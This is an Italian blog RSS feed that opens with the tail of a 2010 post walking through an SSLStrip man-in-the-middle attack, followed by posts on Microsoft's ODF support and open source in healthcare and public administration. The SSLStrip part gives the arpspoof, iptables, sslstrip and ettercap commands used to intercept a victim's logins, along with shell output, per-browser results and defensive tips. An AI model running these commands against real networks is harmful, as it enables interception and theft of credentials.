arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>in questo caso l&#8217;indirizzo del gateway è 10.10.100.254.<br
/> Successivamente bisogna aprire tre diverse schede nella finestra del terminale, perché abbiamo bisogno di eseguire tre comandi in parallelo.<br
/> Nel primo tab eseguire &#8220;sudo arpspoof -t 10.10.100.2 10.10.100.254&#8243;, dove il primo indirizzo ip è quello della vittima e il secondo è il gateway (per trovare gli indirizzi dei computer connessi nella LAN basta utilizzare un qualsiasi scanner di rete), il risultato è simile al seguente (ho modificato i MAC address) praticamente ogni pacchetto della vittima in ogni instantempo viene fatto passare attraverso il nostro computer e inviato al router vero, e viceversa.</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo arpspoof -t 10.10.100.2 10.10.100.254
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00</pre><p>Nella seconda scheda eseguiamo il comando &#8220;iptables -t nat -A PREROUTING -p tcp &#8211;destination-port 80 -j REDIRECT &#8211;to-ports 1000&#8243;, serve a renderizzare le richieste dalla porta 80 alla porta 1000 del nostro computer (la porta di destinazione la possiamo cambiare a piacere, in caso fosse già utilizzata da un altro servizio).</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$</pre><p>Subito dopo facciamo partire &#8220;sslstrip&#8221; e si lascia in esecuzione</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sslstrip
sslstrip 0.6 by Moxie Marlinspike running...</pre><p>Nella terza tab facciamo partire ettercap in sniff mode con il seguente comando &#8220;sudo ettercap -Tqz&#8221;, aspettiamo che la nostra vittima digiti login e password su una connessione &#8220;sicura&#8221;, il risultato dovrebbe essere il seguente (ho modificato il mio MAC address)</p><pre class="shell">arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo ettercap -Tqz
[sudo] password for arturu:
ettercap NG-0.7.3 copyright 2001-2004 ALoR &amp; NaGA
Listening on wlan... (Wireless)
  wlan0 -&gt;	00:00:00:00:00:00      10.10.100.5     255.255.255.0
Privileges dropped to UID 65534 GID 65534...
  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help</pre><p>Fatto questo appena un utente tenterà di accedere ad un servizio su un server protetto, ettercap intercetterà username e password e la visualizzerà in questa ultima tab.</p><h3>Utilizzo di SSLStrip secondo la documentazione</h3><p>Secondo gli autori di SSLStrip l&#8217;utilizzo del tool dovrebbe essere il seguente:</p><ul><li>Flip your machine into forwarding mode. (echo &#8220;1&#8243; &gt; /proc/sys/net/ipv4/ip_forward)</li><li>Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t  nat -A PREROUTING -p tcp &#8211;destination-port 80 -j REDIRECT &#8211;to-port  &lt;listenPort&gt;)</li><li>Run sslstrip. (sslstrip.py -l &lt;listenPort&gt;)</li><li>Run arpspoof to convince a network they should send their traffic  to you. (arpspoof -i &lt;interface&gt; -t &lt;targetIP&gt;  &lt;gatewayIP&gt;)</li></ul><p>In questo modo non sono mai riuscito a beccare una password, forse qualcun altro sarà più fortunato.</p><p>Un articolo interessante si può leggere su: <a
href="http://pointnext.blogspot.com/2010/01/ssl-strip-con-ettercap.html" target="_blank">http://pointnext.blogspot.com/2010/01/ssl-strip-con-ettercap.html</a> ma ancora non ho avuto il tempo di provare.</p><h3>Funziona sempre?</h3><p>Dalle prove che ho fatto se la vittima lavora su una macchina Windows (ho provato soltanto con XP e Vista) l&#8217;attacco va a buon fine con qualsiasi browser. Safari su MacOsX restituisce pagina bianca, cioè non fa nessuna operazione e l&#8217;attacco non va a buon fine, ma l&#8217;utente non riceve nessuna segnalazione sul fatto che la connessione sicura è stata compromessa. Su Ubuntu utilizzando firefox o chrome si viene avvertiti che il certificato di sicurezza non è valido e l&#8217;utente può decidere di abbandonare la connessione (comunque se l&#8217;utente accetta il certificato viene restituita una pagina bianca), invece con Opera l&#8217;attacco va a buon fine.</p><h3>Soluzioni</h3><p>Per ora le soluzioni che mi sento di suggerire sono:</p><ul><li>Se è possibile, preferire il cavo alla wireless, infatti è più difficile connettersi ad una LAN con il cavo che non tramite wireless anche se è protetta;</li><li>Aggiornare browser e Sistema Operativo sperando che venga risolto il problema (caso molto probabile in quanto questo problema è noto dal 2009);</li><li>Consiglio di parte: utilizzare un sistema operativo più sicuro degli altri ad es: Ubuntu o MacOsX</li></ul><p>Saluti Arturu.it</p><p>PS Come tutti hanno capito non si trattava di un articolo che parla dello &#8220;Strip&#8221; Tease. Tu lettore, se ancora cerchi questo, leggendo ancora non troverai niente, anche perché: l&#8217;articolo è finito&#8230; <img
src='http://www.arturu.it/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2010/10/20/ssl-strip/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Microsoft &#8211; La notizia che non ti aspetti</title><link>http://www.arturu.it/blog/2009/09/29/microsoft-la-notizia-che-non-ti-aspetti/</link> <comments>http://www.arturu.it/blog/2009/09/29/microsoft-la-notizia-che-non-ti-aspetti/#comments</comments> <pubDate>Tue, 29 Sep 2009 15:34:28 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Mercato]]></category> <category><![CDATA[Microsoft]]></category> <category><![CDATA[News]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[formati]]></category> <category><![CDATA[OpenSource]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Windows]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=611</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/mercato/" title="Mercato">Mercato</a><a
href="http://www.arturu.it/blog/category/microsoft/" title="Microsoft">Microsoft</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a></p>La Microsoft con il rilascio del secondo service pack (SP2) per Office 2007, adotterà nativamente il formato ODF (quello di Open Office per intendersi). Con questo aggiornamento gli utenti avranno la possibilità di impostare ODF in modo predefinito. Inizialmente, la [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/mercato/" title="Mercato">Mercato</a><a
href="http://www.arturu.it/blog/category/microsoft/" title="Microsoft">Microsoft</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a></p><p><img
class="alignleft size-full wp-image-460" title="windows_users" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/windows_users.png" alt="windows_users" width="128" height="128" />La Microsoft con il rilascio del secondo service pack (SP2) per Office 2007, adotterà nativamente il formato ODF (quello di Open Office per intendersi). Con questo aggiornamento gli utenti avranno la possibilità di impostare ODF in modo predefinito. Inizialmente, la notizia ha stupito tutti, in seguito ha sollevato un sacco di opinioni e pareri contrastanti.</p><h3>Riassunto delle puntate precedenti</h3><p
align="justify">Per chi non fosse del settore riassumo velocenmente cosa è successo in questi ultimi anni.<span
id="more-611"></span></p><div><ul><li>Fino a qualche anno fà Microsoft Office era la suite per l&#8217;ufficio predominante. Per il salvataggio dei documenti utilizza i formati proprietari della Microsoft (doc, xls, pps ecc., che non sono formati standard ISO), questo permette alla Microsoft di fare il bello e il cattivo tempo tagliando fuori tutte le persone e le aziende che non utilizzano Office.</li><li>Nasce OpenOffice.org che utilizza il formato ODF. Questo formato esisteva già da tempo ed era uno degli standard ISO XML. OpenOffice.org da la possibilità ai suoi utenti di elaborare i documenti di altre suite, compresa Microsoft Office.</li><li>Tutte le altre suite per l&#8217;ufficio a partire da Lotus della IBM passano ad ODF. L&#8217;unica suite a non supportare ODF rimane Microsoft Office.</li><li>La Microsoft, per far fronte al dilagare di OpenOffice.org e ODF, per riuscire a mantenere il suo regime di monopolio propone il suo formato in XML: OOXML. Dopo diversi anni di valutazione non viene dichiarato standard ISO al 100%. Intanto ODF, sotto la pressione di molti utenti e associazioni che si battono per la libera fruizione dei contenuti, sbarca nelle Pubbliche Amministrazioni di tutto il mondo (esclusa l&#8217;Italia).</li><li>Microsoft con il rilascio del SP2 per Office 2007 decide di supportare nativamente ODF.</li></ul></div><h3>I positivisti</h3><p
align="justify">Molte sono le persone entusiaste di questa notizia perché vedono in questa novità diversi lati positivi:</p><div><ul><li>l&#8217;intercompatibilità tra tra diverse piattaforme e applicativi;</li><li>l&#8217;utente sarà libero di visualizzare i documenti indipendentemente dal programma e dalla piattaforma;</li><li><div>si utilizzerà un formato standard ISO XML che garantisce la longevità dei documenti nel tempo (ogni avanzamento di versione della suite non obbliga gli utenti a convertire i files);</div></li><li>un documento prodotto con l&#8217;ultima versione della suite sarà visualizzabile e modificabile anche con le versioni precedenti della suite.</li></ul></div><h3>I Dubbiosi</h3><p
align="justify">Questa svolta inaspettata fa pensare, persone che lavorano nel settore pensano che visti i precedenti della Microsoft con i formati aperti bisgogna dubitare. In effetti qualche precedente c&#8217;è, ad esempio lo stravolgimento dell&#8217;HTML a partire dal &#8217;96/98 quando Internet Explorer è divenuto il browser più utilizzato (chiunque voglia approfondire può leggere questo articolo di <a
title="[Collegamento Esterno] Wikipedia" href="http://it.wikipedia.org/wiki/Abbraccia,_estendi_ed_estingui" target="_blank">Wikipedia</a>).</p><p
align="left">Alcuni sospettano, dopo le dichiarazioni di microsoft che ODF non sarà supportato con tutte le sue funzionalità, che si voglia far fare un confronto tra i due formati in modo che l&#8217;utente scelga OOXML.</p><p
align="justify"><em>Jason Matusow, director of corporate standards di Microsoft, e Doug Mahugh, senior product manager per OOXML, hanno fornito maggiori dettagli sull&#8217;implementazione di ODF in <a
href="http://www.betanews.com/article/Microsofts_Matusow_and_Mahugh_on_Offices_move_to_open_format_support/1211408119" target="_blank">questa intervista</a> apparsa su <em>BetaNews</em>. Mahugh ha spiegato che <strong>non tutte le funzionalità fornite da Office 2007 sono supportate da ODF</strong>: tra queste, ad esempio, gli oggetti SmartArt, la formattazione condizionale e alcuni tipi di grafico di Excel. Per aggirare questo ostacolo, che è poi il problema più rilevante nella conversione tra differenti formati di documento, Microsoft farà in modo che, al momento del salvataggio in ODF, l&#8217;utente venga avvisato di eventuali elementi che potrebbero essere persi o non correttamente convertiti.</em></p><p
align="justify">Secondo alcuni, questo supporto parziale convincerà gli utenti che ODF è un formato inferiore ad OOXML facendo scegliere per il secondo. Il supporto parziale potrebbe far visualizzare in modo differente i documenti costruiti con Office con le altre suite. Molti sono convinti che questa è una strategia della Microsoft per consolidare la sua posizione di monopolista e ostacolare la crescita della concorrenza.</p><h3>Conclusioni</h3><p
align="justify">Che la Microsoft sia in calo è un dato certo (un pò meno in Italia). La decisione di adottare ODF nativamente è il minimo da fare per non rimanere fuori dal mercato, visto che, sotto la pressione dei sostenitori delle libertà digitali, le Pubbliche Amministrazioni stanno puntanto sui formati aperti. E&#8217; successo in Inghilterra che le scuole del regno hanno rifiutato Microsoft perché non forniva formati standard e aperti, ci sarebbe stata un&#8217;intera generazione cresciuta con OpenOffice, eventualità disastrosa per Microsoft perché successivamente l&#8217;utilizzo di OpenOffice si sarebbe trasferito anche all&#8217;ambito lavorativo.</p><p
align="justify">Questa è una scelta per rimanere a galla e non perdere posizioni. Starà a noi e agli organi antitrust vigilare in modo che la Microsoft non si ripeta come è successo in passato.</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/09/29/microsoft-la-notizia-che-non-ti-aspetti/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>La sanità investirà sull&#8217;Open source</title><link>http://www.arturu.it/blog/2009/09/29/la-sanita-investira-sullopen-source/</link> <comments>http://www.arturu.it/blog/2009/09/29/la-sanita-investira-sullopen-source/#comments</comments> <pubDate>Tue, 29 Sep 2009 14:56:23 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Mercato]]></category> <category><![CDATA[News]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[Pubblica Amministrazione]]></category> <category><![CDATA[OpenSource]]></category> <category><![CDATA[PA]]></category> <category><![CDATA[Sanità]]></category> <category><![CDATA[Software]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=584</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/mercato/" title="Mercato">Mercato</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/pubblica-amministrazione/" title="Pubblica Amministrazione">Pubblica Amministrazione</a></p>Diagnosi precoce, prevenzione, appropriatezza della cura. Principi fondamentali della sanità che consentono al paziente di sentirsi più protetto e sicuro, soddisfatto nei suoi bisogni di salute, tranquillo nell&#8217;affidarsi ad un équipe medica o ad un sistema organizzativo sanitario in grado [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/mercato/" title="Mercato">Mercato</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/pubblica-amministrazione/" title="Pubblica Amministrazione">Pubblica Amministrazione</a></p><p><span
style="font-family: Verdana; font-size: x-small;"><img
class="alignleft size-full wp-image-437" title="tux" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/tux.png" alt="tux" width="128" height="128" />Diagnosi precoce, prevenzione, appropriatezza della cura. Principi fondamentali della sanità che consentono al paziente di sentirsi più protetto e sicuro, soddisfatto nei suoi bisogni di salute, tranquillo nell&#8217;affidarsi ad un équipe medica o ad un sistema organizzativo sanitario in grado di assistere il paziente a 360 gradi e in modo tempestivo ed efficace.</span></p><div><p><span
style="font-family: Verdana; font-size: x-small;">Talvolta però non bastano la capacità e la professionalità dei medici, servono apparecchiature all&#8217;avanguardia e strumentazioni tecnologiche e innovative. Gli operatori sanitari devono essere in grado di scambiare le informazioni in tempo reale, devono poter accedere alle cartelle cliniche e ai reperti medici rapidamente senza ostacoli procedurali e organizzativi.</span></p><p><span
style="font-family: Verdana; font-size: x-small;"><span
id="more-584"></span><br
/> </span></div><div><p><span
style="font-family: Verdana; font-size: x-small;">La sanità oggi non sembra essere in grado di sostenere la razionalizzazione di questi processi, convinta che una riorganizzazione globale sia sinonimo di costi aggiuntivi che i bilanci delle aziende sanitarie non possono coprire.</span></div><div><p><span
style="font-family: Verdana; font-size: x-small;">L&#8217;utilizzo invece dell&#8217;Open source (letteralmente “sorgente aperta”) o del free software (sofware libero) può offrire una valida e qualitativa alternativa alla lentezza e alle difficoltà incontrate nell&#8217;interscambio di informazioni all&#8217;interno di un&#8217;azienda o di una struttura ospedaliera. Si tratta di uno strumento informatico rivoluzionario, ormai già presente sul mercato e in via di espansione, che nel giro di pochi anni è destinato ad aprire nuovi orizzonti in molti settori e campi lavorativi, nell&#8217;ottimizzazione dei processi gestionali e organizzativi anche della sanità pubblica e privata </span></div><div><p><span
style="font-family: Verdana; font-size: x-small;">Con l&#8217;Open source &#8211; insieme di software distribuiti gratuitamente e corredati dei relativi codici sorgenti &#8211; un programma, o sistema operativo, deve rispettare i canoni del codice aperto, ossia dovrà essere liberamente diffusibile (senza costi o restrizioni, tipiche del software proprietario) ed anche personalizzabile attraverso la libera accessibilità ai codici sorgenti dell&#8217;applicativo stesso. In tal modo, chiunque avesse necessità di estendere un software (già solido e specializzato) con ulteriori funzionalità adatte a specifiche e soggettive esigenze, avrà la possibilità di realizzare tali modifiche in piena autonomia, senza dover chiedere autorizzazioni o versare pagamenti alla software house (casa produttrice di software).</span></p><p><span
style="font-family: Verdana; font-size: x-small;">Solo dunque con la condivisione dei programmi è possibile trovare il “pacchetto informatico” più idoneo e vantaggioso per il proprio sistema procedurale e organizzativo e adeguarlo alle nuove esigenze che via via si presentano.<br
/> Claudio Saccavini, Cio del Dipartimento di Scienze medico-diagnostiche-Terapie speciali dell&#8217;Università di Padova, che sarà a Rovigo all&#8217;Open source Expo 2007 per la conferenza dal titolo “Open source e Open standard per lo sviluppo della sanità elettronica: potenzialità e opportunità”,<br
/> è uno studioso nonché grande sostenitore dell&#8217;applicazione dell&#8217;Open    source nella sanità.<br
/> “Oggi le aziende sanitarie e le strutture ospedaliere gestiscono un numero esponenziale di informazioni – avverte – e non basta più il supporto cartaceo. A Padova, ad esempio, si è passati in Radiologia dalla gestione di 250 immagini a 7-8.000 l&#8217;anno, è evidente che si rischia l&#8217;entropia delle informazioni dei clinici. Il vero problema non è l&#8217;informazione al paziente, ma la comunicazione interna tra i professionisti che devono poterle integrare e condividere. L&#8217;Università di Padova ha creato, utilizzando il sistema Open source, un programma per la gestione dati tra il reparto di Endoscopia e Radiologia, in modo che i referti medici o le indagini ragiologiche possano essere visionate in tempo reale”. Ma sono molte altre le applicazioni, come ad esempio per la cartella clinica elettronica, per l&#8217;organizzazione del centro unico di prenotazione, per la distribuzione dei farmaci a domicilio. </span></p><p><span
style="font-family: Verdana; font-size: x-small;">Secondo Saccavini però le difficoltà non si incontrano tanto nell&#8217;utilizzo delle tecnologie, quanto nella formazione delle risorse umane. “Per l&#8217;acquisto di una Tac o di una risonanza magnetica i fondi si trovano, ma il più delle volte le direzioni generali delle Ulss non calcolano o non prendono in considerazione poi i costi indotti, quelli della formazione che, se non attivata, di fatto frena la crescita e l&#8217;innovazione”. Così per il docente universitario diventa un luogo comune pensare che l&#8217;informatizzazione porti solo ad un vantaggio economico. “Bisogna essere più lungimiranti e pensare ai benefici a medio-lungo termine. Alle direzioni generali delle Ulss interessano il controllo di gestione e l&#8217;economia di scala, ai medici gli aspetti clinici. Ecco che con l&#8217;Open source ci può essere la giusta mediazione e integrazione tra le due esigenze. Il sistema sanitario sta cambiando e sono convinto che finito il tempo delle tecnologie d&#8217;avanguardia si apra la scommessa dell&#8217;adozione dei sistemi informatici Os e dell&#8217;automazione dei processi. Mi auguro anche che arrivi il momento degli investimenti nelle risorse umane”. I progetti che riguardano l&#8217;innovazione tecnologica trovano solitamente fondi e contributi a livello nazionale e regionale, ma il problema è che l&#8217;approccio all&#8217;Open source viene opzionato principalmente in centri di eccellenza. “Ci sono casi sporadici, come l&#8217;Ulss di Arzignano dove l&#8217;Os è stato applicato nell&#8217;ambito di un progetto per la gestione della privacy, che purtroppo rimane fine a se stesso – spiega Saccavini -. Sarebbe opportuno che il ministero finanziasse il “riuso” di questi sistemi aperti, in modo che le esperienze e le progettualità fossero messe a disposizione di tutti i soggetti interessati. Uno sforzo lo sta facendo in tal senso il Cnipa che ha creato un Osservatorio nazionale sull&#8217;Open source, uno strumento unico a livello europeo. E fa molto bene il responsabile Vittorio Pagani a lanciare l&#8217;idea di una community gestita dal ministero, perché fondamentale per chi accede all&#8217;open source è proprio la condivisione dei vari software e programmi, il riuso insomma. Non è solo un problema di fondi e finanziamenti, ma di entrare in un nuovo modo di pensare, in uno stile di vita che sostiene la cooperazione anche nella pubblica amministrazione in genere”. </span></p><p><a
href="http://www.datamanager.it/articoli.php?idricercato=21363" target="_blank">Fonte datamanager.it </a></div> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/09/29/la-sanita-investira-sullopen-source/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>L&#8217;ascesa del software libero nella P.A.</title><link>http://www.arturu.it/blog/2009/09/29/lascesa-del-software-libero-nella-p-a/</link> <comments>http://www.arturu.it/blog/2009/09/29/lascesa-del-software-libero-nella-p-a/#comments</comments> <pubDate>Tue, 29 Sep 2009 14:00:45 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[Pubblica Amministrazione]]></category> <category><![CDATA[OpenSource]]></category> <category><![CDATA[PA]]></category> <category><![CDATA[Software]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=509</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/pubblica-amministrazione/" title="Pubblica Amministrazione">Pubblica Amministrazione</a></p>Il fenomeno dell&#8217;open source continua a diffondersi nelle Pubbliche Amministrazioni (PA). Dopo anni e anni di imposizione di formati e di software proprietari incomincia a diffondersi una filosofia di condivisione e di assolutà libertà. Una delle prime amministrazioni locali a [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/pubblica-amministrazione/" title="Pubblica Amministrazione">Pubblica Amministrazione</a></p><p><img
class="alignleft size-full wp-image-437" title="tux" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/tux.png" alt="tux" width="128" height="128" />Il fenomeno dell&#8217;open source continua a diffondersi nelle Pubbliche Amministrazioni (PA). Dopo anni e anni di imposizione di formati e di software proprietari incomincia a diffondersi una filosofia di condivisione e di assolutà libertà. Una delle prime amministrazioni locali a fare il passo è stata la provincia autonoma di Bolzano che ha incominciato ad utilizzare i fondi europei (<a
href="http://www.provincia.bz.it/lpa/news/news_i.asp?art=166324" target="_blank">vedi dettagli</a>) per far migrare le proprie scuole dal costosissimo e incostituzionale software proprietario all&#8217;Open Source, successivamente ha incominciato ad estendere l&#8217;utilizzo all&#8217;intera amministrazione pubblica, abbattendo i costi delle licenze software del 100% (cioè l&#8217;acquisto e l&#8217;aggiornamento dei programmi), rimangono solo i costi relativi alla manutenzione. Dopo questo successo economico&#8230;</p><p><span
id="more-509"></span></p><p
align="justify">Dopo questo successo economico e costituzionale questa politica ha incominciato a diffondersi in tutte le pubbliche amministrazioni italiane come ad esempio quella della provincia di Bari che ha dato il via al progetto:</p><p
align="justify"><em>&#8220;Disegno di Legge Regionale recante norme in materia di trasformazione ed adeguamento tecnologico della Pubblica Amministrazione Regionale secondo criteri di difesa della libertà, della democrazia e della sicurezza informatica nell&#8217;era della comunicazione digitale&#8221;.</em></p><p
align="justify"><em>&#8220;Per la prima volta in Italia &#8211; si legge in una nota diffusa dal PRC &#8211; viene proposto un disegno di legge regionale che si propone di regolamentare e trasformare la Pubblica Amministrazione attraverso l&#8217;adozione di un altro modello di impiego e di realizzazione del software utilizzato nella Pubblica Amministrazione passando da quello proprietario, costosissimo, a codice chiuso, immodificabile e con licenza d&#8217;uso a pagamento, a quello Open Source, modificabile e quasi sempre gratuito ed adattabile ad ogni esigenza dell&#8217;utilizzatore&#8221;.</em></p><p><em>Secondo i promotori, &#8220;le ricadute positive che deriverebbero dall&#8217;approvazione di questo DDL in termini di contenimento dei costi a bilancio, di sviluppo e crescita dell&#8217;economia e dell&#8217;occupazione sono già evidenti in numerose esperienze già realizzatesi altrove nel mondo, in Italia ed in Europa. Lo stesso DDL affronta, per la prima volta attraverso un atto legislativo, anche il grave problema dell&#8217;Hardware condizionato all&#8217;uso di software ad alto costo economico e sociale&#8221;. </em></p><p
align="justify">Su questa scia di innovazione e miglioramento (oltre ad altre PA come Puglia, Toscana ed Umbria, e presso enti locali come la provincia di Pescara o i comuni di Torino e Firenze) ieri la Regione Lombardia annuncia che migrerà al software Open Source reinderizzando i fondi risparmiati per far lavorare i giovani programmatori della regione, in questo modo si evita di mandare i propri fondi all&#8217;estero e lasciare senza lavoro altrettanti validi giovani programmatori italiani. L&#8217;intervista fatta all&#8217;autore di questo progetto si può leggere <a
href="http://punto-informatico.it/p.aspx?id=2005737&amp;r=PI" target="_blank">cliccando qui</a>, invece il testo della proposta di legge si può trovare <a
href="http://politicadelsoftware.openlabs.it/files/regione-lombardia-pdl-software-libero.pdf" target="_blank">cliccando qui</a>.</p><p
align="justify">Sulla scia del fenomeno Open Source il governo recentemente ha aperto un portale dedicato all&#8217;Open che si può trovare <a
href="http://www.osspa.cnipa.it/home/" target="_blank">cliccando qui</a>. Questo nuovo portale serve principalmente per favorire la collaborazione, la cooperazione, la condivisione delle informazioni e del supporto all&#8217;Open alle diverse PA, evitando quello che è successo fino ad ora a causa dell&#8217;utilizzo del software proprietario, cioè mi riferisco a tutte quelle problematiche comuni a tutte le PA che si ripresentano spesso e che devo essere risolte in modo autonomo a causa delle restizioni di questi software, invece con l&#8217;utilizzo dei Software Open Source la soluzione di un problema viene messa a disposizione di tutti facendo risparmiare tempo e denaro in quanto la condivisione dei dati e delle conoscenze è alla base di tutto il sistema.</p><p
align="justify">Un Saluto, Arturu.</p><p
align="justify">PS Riflettete&#8230; E&#8217; meglio collaborare ed essere un&#8217;unico continente che essere migliaia di isole sparse per l&#8217;oceano&#8230;</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/09/29/lascesa-del-software-libero-nella-p-a/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
